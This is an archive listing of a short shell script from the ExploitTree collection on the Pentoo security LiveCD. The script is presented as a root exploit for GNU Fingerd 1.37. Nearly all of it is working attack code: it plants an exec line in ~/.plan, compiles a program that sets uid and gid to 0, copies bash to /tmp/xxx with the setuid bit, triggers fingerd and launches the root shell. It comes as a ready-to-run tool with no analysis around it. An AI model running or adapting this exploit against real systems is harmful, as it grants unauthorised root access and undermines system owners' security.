home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / plan.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  509b  |  25 lines

  1. #!/bin/sh
  2. #
  3. #  GNU Fingerd 1.37 ~/.plan exploit.
  4. #
  5.  
  6. cat << _EOF1_ >> ~/.plan
  7.   $exec /tmp/relinq
  8. _EOF1_
  9.  
  10. cat << _EOF2_ >> /tmp/relinq.c
  11. #include <stdio.h>
  12. void main()
  13. {
  14.   printf("Fingerd 1.37 plan Root exploit by Joey\n");
  15.   setregid(0, 0);
  16.   setreuid(0, 0);
  17.   printf("User: %d, Group: %d.\n", getuid(), getgid());
  18.   system("cp /bin/bash /tmp/xxx");
  19.   system("chmod +s /tmp/xxx");
  20. }
  21. _EOF2_
  22. gcc /tmp/relinq.c -o /tmp/relinq
  23. finger $USER
  24. echo "attempting suid shell in /tmp/xxx"
  25. /tmp/xxx